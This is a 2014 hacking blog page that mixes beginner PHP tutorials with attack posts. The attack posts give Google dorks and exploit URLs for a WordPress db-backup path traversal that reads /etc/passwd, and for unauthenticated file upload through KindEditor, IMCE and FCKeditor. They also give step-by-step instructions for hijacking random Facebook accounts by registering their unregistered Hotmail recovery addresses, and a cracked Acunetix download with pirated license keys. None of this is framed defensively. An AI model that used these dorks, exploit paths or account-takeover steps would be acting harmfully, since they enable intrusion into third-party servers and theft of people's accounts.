Thursday, November 27, 2014

0 WordPress db-backup plugin File Download Vulnerability

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WordPress db-backup plugin File Download Vulnerability

Google Dork: inurl:wp-content/plugins/db-backup/

Exploit path: /wp-content/plugins/db-backup/download.php?file=/etc/passwd

Example: http://www.[target].com/wp-content/plugins/db-backup/download.php?file=/etc/passwd

Live Target:

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Monday, November 24, 2014

1 Upload Button Examples Exploit File Upload

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Upload Button Examples Exploit File Upload

Google Dork: intitle:"Upload Button Examples"
Google Dork: inurl:"/examples/uploadbutton.html"

Exploit Path: /kindeditor/examples/uploadbutton.html

Click Upload button and Attach your file

Your file will be showed in a blank label
After that you just copy and paste in URL label

If you don't know how to do that you can ask me on my fb fan page :)

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Thursday, November 20, 2014

0 IMCE Mkdir Remote File Upload Vulnerability

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Google Dork: inurl:"/imce?dir=" intitle:"File Browser
Exploit Example:http://www.[target].com/imce?dir=.

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Saturday, November 15, 2014

0 LT cms rfu (Fckeditor)

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Google Dork: Powered By LT

Exploit Path: /admin/fckeditor/editor/filemanager/connectors/uploadtest.html

Exploit Example:




Access your file:


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Wednesday, November 12, 2014

1 Hack random Facebook account

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1.Go to Forgot Password
2.Go to hotmail And SIGN UP
3.Write any email and wait for verify, but no register.
4.Write this email in forgot password
5.And Facebook say this emails is not exist in Facebook.
6.Try,Try,Try, with this method.
7.Try different e-mails but no register.
8.And when you try up to 7-8 you can find any e-mail.
9.And when you write this e-mail in forgot password, facebook show to you name and surname.
10.And you can see, "Send password in My inbox"
11.When you see this , register this email in Hotmail.
12.And click " Send password to my e-mail "
13.And Password and email sended to your e-mail.
14.And Login In facebook with there informations.
You hacked a one random Facebook Account.
SHARE THIS for help your friends
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Monday, November 10, 2014

0 conhost executable file

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Saturday, November 8, 2014

0 PHP Tutorial Part 3 - IF Statements

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The Basics Of IF

If statements are used to compare two values and carry out different actions based on the results of the test. If statements take the form IF, THEN, ELSE. Basically the IF part checks for a condition. If it is true, the then statement is executed. If not, the else statement is executed.

IF Strucure

The structure of an IF statement is as follows:

IF (something == something else)
THEN Statement
} else {
ELSE Statement


The most common use of an IF statement is to compare a variable to another piece of text, a number, or another variable. For example:

if ($username == "webmaster")

which would compare the contents of the variable to the text string. The THEN section of code will only be executed if the variable is exactly the same as the contents of the quotation marks so if the variable contained 'Webmaster' or 'WEBMASTER' it will be false.

Constructing The THEN Statment

To add to your script, you can now add a THEN statement:

if ($username == "webmaster") {
echo "Please enter your password below";

This will only display this text if the username is webmaster. If not, nothing will be displayed. You can actually leave an IF statement like this, as there is no actual requirement to have an ELSE part. This is especially useful if you are using multiple IF statements.

Constructing The ELSE Statement

Adding The ELSE statement is as easy as the THEN statement. Just add some extra code:

if ($username == "webmaster") {
echo "Please enter your password below";
} else {
echo "We are sorry but you are not a recognised user";

Of course, you are not limited to just one line of code. You can add any PHP commands in between the curly brackets. You can even include other IF statments (nested statements).

Other Comparisons

There are other ways you can use your IF statement to compare values. Firstly, you can compare two different variables to see if their values match e.g.

if ($enteredpass == $password)

You can also use the standard comparision symbols to check to see if one variable is greater than or less than another:

if ($age < "15")

Or :

if ($date > $finished)

You can also check for multiple tests in one IF statement. For instance, if you have a form and you want to check if any of the fields were left blank you could use:

if ($name == "" || $email == "" || $password == "") {
echo "Please fill in all the fields";
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Tuesday, November 4, 2014

0 PHP Tutorial Part 2 - Displaying Information & Variables

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Printing Text

To output text in your PHP script is actually very simple. As with most other things in PHP, you can do it in a variety of different ways. The main one you will be using, though, is print. Print will allow you to output text, variables or a combination of the two so that they display on the screen.

The print statement is used in the following way:

print("Hello blog!");

I will explain the above line:

print is the command and tells the script what to do. This is followed by the information to be printed, which is contained in the brackets. Because you are outputting text, the text is also enclosed instide quotation marks. Finally, as with nearly every line in a PHP script, it must end in a semicolon. You would, of course, have to enclose this in your standard PHP tags, making the following code:

print("Hello blog!");

Which will display:

Hello blog!

on the screen.


As with other programming languages, PHP allows you to define variables. In PHP there are several variable types, but the most common is called a String. It can hold text and numbers. All strings begin with a $ sign. To assign some text to a string you would use the following code:

$welcome_text = "Hello and welcome to my website.";

This is quite a simple line to understand, everything inside the quotation marks will be assigned to the string. You must remember a few rules about strings though:

Strings are case sensetive so $Welcome_Text is not the same as $welcome_text 
String names can contain letters, numbers and underscores but cannot begin with a number or underscore 
When assigning numbers to strings you do not need to include the quotes so:

Outputting Variables

To display a variable on the screen uses exactly the same code as to display text but in a slightly different form. The following code would display your welcome text:

$welcome_text = "Hello and welcome to my website.";

Formatting Your Text

For this example I will change the text to the Arial font in red. The normal code for this would be:

You can change font to wanted. There few fonts: Arial,Courier,Georgia,Times,Tahoma,Verdana

<font face="Arial" color="#FF0000">

As you can see this code contains 4 quotation marks so would confuse the script. Because of this you must add a backslash before each quotation mark to make the PHP script ignore it. The code would chang
e to:

<font face=\"Arial\" color=\"#FF0000\">

You can now include this in your print statement:

print("<font face=\"Arial\" color\"#FF0000\">Hello and welcome to my website.</font>");

which will make the browser display:

Hello and welcome to my website.

because it has only been sent the code:

<font face="Arial" color="#FF0000">Hello and welcome to my website.</font>

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Monday, November 3, 2014

0 PHP Tutorial Part 1 - Introduction

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What Is PHP?

PHP stands for Hypertext Preprocessor and is a server-side language. This means that the script is run on your web server, not on the user's browser, so you do not need to worry about compatibility issues. PHP is relatively new (compared to languages such as Perl (CGI) and Java) but is quickly becomming one of the most popular scripting languages on the internet.

Declaring PHP

Your code here !

Your code here !

<script language="php">
Your code here !

Your first code:

This is very basic code about information PHP

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Saturday, November 1, 2014

0 Acunetix Web Vulnerability Scanner 8 Full + Crack + Key

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Download Link:

1) Download file and unzip on Desktop

2) Install and open

3) Get Activation.exe and wvs.exe from downloaded and move it to acunetix folder.
*If you don't know how see on picture 

4) There is License and all details for Activation.

License Key: 2e3b81463d2s56ae60dwe77fd54f7d60
License Key : 5s3b6136t52s56de60d1e76fgd4f7d5h
Name: Hmily/[LCG]
ComPany: Www.52PoJie.Cn
Telephone: 110 - See more at:

Download Link:

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